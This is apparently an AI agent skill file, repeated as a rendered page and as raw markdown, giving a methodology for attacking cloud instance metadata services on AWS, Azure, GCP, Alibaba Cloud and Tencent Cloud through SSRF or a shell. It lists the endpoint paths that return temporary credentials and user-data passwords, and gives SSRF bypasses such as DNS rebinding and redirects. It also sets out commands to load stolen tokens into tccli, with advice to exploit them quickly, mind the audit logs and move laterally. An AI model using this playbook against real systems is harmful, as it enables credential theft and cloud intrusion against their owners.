Cloud Metadata Exploitation Methodology
IMDS is the bridge from SSRF/RCE to the cloud control plane—a single HTTP request yields IAM/CAM temporary credentials.
⛔ Further Reading (Must Read)
- Detailed credential extraction commands for each cloud platform, quick AWS/Tencent Cloud exploitation, metadata information paths → references/credential-extraction.md
Phase 1: Confirm the Cloud Environment
| Indicator |
Cloud Platform |
x-amz-* Header, Server: AmazonS3 |
AWS |
x-ms-* Header, .azurewebsites.net |
Azure |
.googleapis.com, x-goog-* Header |
GCP |
.aliyuncs.com, x-oss-* Header |
Alibaba Cloud |
.myqcloud.com, x-cos-* Header, Server: tencent-cos |
Tencent Cloud |
Phase 2: Metadata Endpoint Quick Reference
# AWS (IMDSv1 — direct GET)
http://169.254.169.254/latest/meta-data/
# AWS (IMDSv2 — requires PUT to obtain a token)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
# GCP
http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google
# Alibaba Cloud
http://100.100.100.200/latest/meta-data/
# Tencent Cloud (CVM/Lighthouse application server)
http://metadata.tencentyun.com/latest/meta-data/
# Can also be accessed via IP
http://169.254.0.23/latest/meta-data/
Complete Tencent Cloud Metadata Paths
# Basic information
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type
# Region information
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone
# Network (requires obtaining the MAC address first)
http://metadata.tencentyun.com/latest/meta-data/mac
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/local-ipv4
# CAM role credentials (key attack surface!)
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# ↑ Lists the names of the mounted roles
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>
# ↑ Returns temporary credentials: TmpSecretId, TmpSecretKey, Token, ExpiredTime
# User data (startup scripts — often contain passwords!)
http://metadata.tencentyun.com/latest/user-data
Phase 3: SSRF → Metadata
- Use SSRF directly to request
http://169.254.169.254/... (AWS/Azure/GCP)
- Use SSRF directly to request
http://metadata.tencentyun.com/... (Tencent Cloud, via domain name)
- Use SSRF directly to request
http://100.100.100.200/... (Alibaba Cloud)
- IMDSv2 requires PUT + a custom Header → most SSRF vectors cannot set headers, which is exactly the defensive value of IMDSv2
- Bypass:
http://[::ffff:169.254.169.254]/, DNS rebinding, 302 redirect
- Tencent Cloud and Alibaba Cloud metadata services require no special Header (similar to IMDSv1, easier to exploit via SSRF)
Phase 4: Credential Exploitation Decision Tree
Credentials obtained?
├─ AWS → export environment variables → aws sts get-caller-identity → enumerate S3/EC2/Lambda/Secrets
├─ Azure → Bearer Token → enumerate resources
├─ GCP → OAuth Token → enumerate project resources
├─ Alibaba Cloud → STS Token → enumerate OSS/ECS
└─ Tencent Cloud → configure tccli → enumerate COS/CVM/SCF/CAM
├─ tccli configure (interactive) or set environment variables
├─ tccli sts GetCallerIdentity (verify identity)
├─ coscli ls or Python SDK (list buckets; tccli does not support GetService)
├─ tccli cvm DescribeInstances (list instances)
└─ → switch to the cloud-iam-audit skill for privilege escalation assessment
Detailed commands → [references/credential-extraction.md](references/credential-extraction.md)
Quick Tencent Cloud Credential Configuration
# Method 1: tccli configure
tccli configure
# SecretId: TmpSecretId obtained from metadata
# SecretKey: TmpSecretKey obtained from metadata
# token: Token obtained from metadata
# Region: obtained from metadata placement/region
# Method 2: environment variables (suits scripting)
export TENCENTCLOUD_SECRET_ID="TmpSecretId"
export TENCENTCLOUD_SECRET_KEY="TmpSecretKey"
export TENCENTCLOUD_SESSION_TOKEN="Token"
# Verify
tccli sts GetCallerIdentity
After obtaining cloud credentials, perform IAM privilege escalation assessment.
Notes
- IMDSv2 is AWS's primary defense against metadata SSRF—pure SSRF is basically not exploitable
- Tencent Cloud and Alibaba Cloud metadata do not enforce a token, which lowers the bar for SSRF exploitation
- Cloud credentials expire (typically 6-12 hours); exploit them immediately once obtained
- Credential operations leave CloudTrail/CloudAudit logs; mind the operational traces
- User-Data (
/latest/user-data) often contains passwords embedded in startup scripts
- The Tencent Cloud metadata domain
metadata.tencentyun.com is only reachable from inside the instance's internal network
Further Exploitation
- Once cloud credentials are obtained, perform lateral movement to access more cloud resources
- Tencent Cloud: credentials → enumerate COS with tccli/coscli → search sensitive data → CAM privilege escalation
- AWS: credentials → enumerate S3/EC2/Lambda with awscli → IAM privilege escalation
1---2name: cloud-metadata3description: "Cloud metadata exploitation. Use when an SSRF or an obtained shell can reach cloud instance metadata services. Covers metadata endpoints for AWS/Azure/GCP/Alibaba Cloud/Tencent Cloud, IAM/CAM credential extraction, IMDSv2 bypass, and the complete attack chain from metadata to cloud service enumeration. Should be used for any SSRF scenario and any situation where the internal network can reach 169.254.169.254 or 100.100.100.200"4zh-signals: "通过 SSRF 或已获取的 shell 访问云实例元数据服务,提取 AWS/Azure/GCP/阿里云/腾讯云的 IAM/CAM 临时凭据并进一步枚举云资源。信号:云元数据,SSRF,IAM,CAM,IMDS"5when-to-use: "Use when an SSRF or shell can reach cloud instance metadata services such as 169.254.169.254 or 100.100.100.200. Covers AWS/Azure/GCP/Alibaba/Tencent endpoints, credential extraction, and IMDSv2 bypass."6metadata:7 source: https://skillmd.com/skills/dangeroussong/cloud-metadata8 tags: "cloud,metadata,ssrf,iam,cam,aws,azure,gcp,aliyun,tencent,tencent-cloud,imds,cloud-security"9 category: "cloud"10---1112# Cloud Metadata Exploitation Methodology13- 攻击大类:C09 Web应用漏洞利用1415IMDS is the bridge from SSRF/RCE to the cloud control plane—a single HTTP request yields IAM/CAM temporary credentials.1617## ⛔ Further Reading (Must Read)1819- Detailed credential extraction commands for each cloud platform, quick AWS/Tencent Cloud exploitation, metadata information paths → [references/credential-extraction.md](references/credential-extraction.md)2021---2223## Phase 1: Confirm the Cloud Environment2425| Indicator | Cloud Platform |26|------|--------|27| `x-amz-*` Header, `Server: AmazonS3` | AWS |28| `x-ms-*` Header, `.azurewebsites.net` | Azure |29| `.googleapis.com`, `x-goog-*` Header | GCP |30| `.aliyuncs.com`, `x-oss-*` Header | Alibaba Cloud |31| `.myqcloud.com`, `x-cos-*` Header, `Server: tencent-cos` | Tencent Cloud |3233## Phase 2: Metadata Endpoint Quick Reference3435```36# AWS (IMDSv1 — direct GET)37http://169.254.169.254/latest/meta-data/3839# AWS (IMDSv2 — requires PUT to obtain a token)40PUT http://169.254.169.254/latest/api/token41 Header: X-aws-ec2-metadata-token-ttl-seconds: 216004243# Azure44http://169.254.169.254/metadata/instance?api-version=2021-02-0145 Header: Metadata: true4647# GCP48http://metadata.google.internal/computeMetadata/v1/49 Header: Metadata-Flavor: Google5051# Alibaba Cloud52http://100.100.100.200/latest/meta-data/5354# Tencent Cloud (CVM/Lighthouse application server)55http://metadata.tencentyun.com/latest/meta-data/56# Can also be accessed via IP57http://169.254.0.23/latest/meta-data/58```5960### Complete Tencent Cloud Metadata Paths6162```63# Basic information64http://metadata.tencentyun.com/latest/meta-data/65http://metadata.tencentyun.com/latest/meta-data/instance-id66http://metadata.tencentyun.com/latest/meta-data/uuid67http://metadata.tencentyun.com/latest/meta-data/hostname68http://metadata.tencentyun.com/latest/meta-data/local-ipv469http://metadata.tencentyun.com/latest/meta-data/public-ipv470http://metadata.tencentyun.com/latest/meta-data/instance-type7172# Region information73http://metadata.tencentyun.com/latest/meta-data/placement/region74http://metadata.tencentyun.com/latest/meta-data/placement/zone7576# Network (requires obtaining the MAC address first)77http://metadata.tencentyun.com/latest/meta-data/mac78http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id79http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id80http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/local-ipv48182# CAM role credentials (key attack surface!)83http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/84# ↑ Lists the names of the mounted roles8586http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>87# ↑ Returns temporary credentials: TmpSecretId, TmpSecretKey, Token, ExpiredTime8889# User data (startup scripts — often contain passwords!)90http://metadata.tencentyun.com/latest/user-data91```9293## Phase 3: SSRF → Metadata9495- Use SSRF directly to request `http://169.254.169.254/...` (AWS/Azure/GCP)96- Use SSRF directly to request `http://metadata.tencentyun.com/...` (Tencent Cloud, via domain name)97- Use SSRF directly to request `http://100.100.100.200/...` (Alibaba Cloud)98- **IMDSv2 requires PUT + a custom Header** → most SSRF vectors cannot set headers, which is exactly the defensive value of IMDSv299- Bypass: `http://[::ffff:169.254.169.254]/`, DNS rebinding, 302 redirect100- **Tencent Cloud and Alibaba Cloud metadata services require no special Header** (similar to IMDSv1, easier to exploit via SSRF)101102## Phase 4: Credential Exploitation Decision Tree103104```105Credentials obtained?106├─ AWS → export environment variables → aws sts get-caller-identity → enumerate S3/EC2/Lambda/Secrets107├─ Azure → Bearer Token → enumerate resources108├─ GCP → OAuth Token → enumerate project resources109├─ Alibaba Cloud → STS Token → enumerate OSS/ECS110└─ Tencent Cloud → configure tccli → enumerate COS/CVM/SCF/CAM111 ├─ tccli configure (interactive) or set environment variables112 ├─ tccli sts GetCallerIdentity (verify identity)113 ├─ coscli ls or Python SDK (list buckets; tccli does not support GetService)114 ├─ tccli cvm DescribeInstances (list instances)115 └─ → switch to the cloud-iam-audit skill for privilege escalation assessment116Detailed commands → [references/credential-extraction.md](references/credential-extraction.md)117```118119### Quick Tencent Cloud Credential Configuration120121```bash122# Method 1: tccli configure123tccli configure124# SecretId: TmpSecretId obtained from metadata125# SecretKey: TmpSecretKey obtained from metadata126# token: Token obtained from metadata127# Region: obtained from metadata placement/region128129# Method 2: environment variables (suits scripting)130export TENCENTCLOUD_SECRET_ID="TmpSecretId"131export TENCENTCLOUD_SECRET_KEY="TmpSecretKey"132export TENCENTCLOUD_SESSION_TOKEN="Token"133134# Verify135tccli sts GetCallerIdentity136```137138After obtaining cloud credentials, perform IAM privilege escalation assessment.139140## Notes141- **IMDSv2** is AWS's primary defense against metadata SSRF—pure SSRF is basically not exploitable142- **Tencent Cloud and Alibaba Cloud metadata do not enforce a token**, which lowers the bar for SSRF exploitation143- Cloud credentials expire (typically 6-12 hours); **exploit them immediately** once obtained144- Credential operations leave CloudTrail/CloudAudit logs; mind the operational traces145- **User-Data** (`/latest/user-data`) often contains passwords embedded in startup scripts146- The Tencent Cloud metadata domain `metadata.tencentyun.com` is only reachable from inside the instance's internal network147148## Further Exploitation149- Once cloud credentials are obtained, perform lateral movement to access more cloud resources150- Tencent Cloud: credentials → enumerate COS with tccli/coscli → search sensitive data → CAM privilege escalation151- AWS: credentials → enumerate S3/EC2/Lambda with awscli → IAM privilege escalation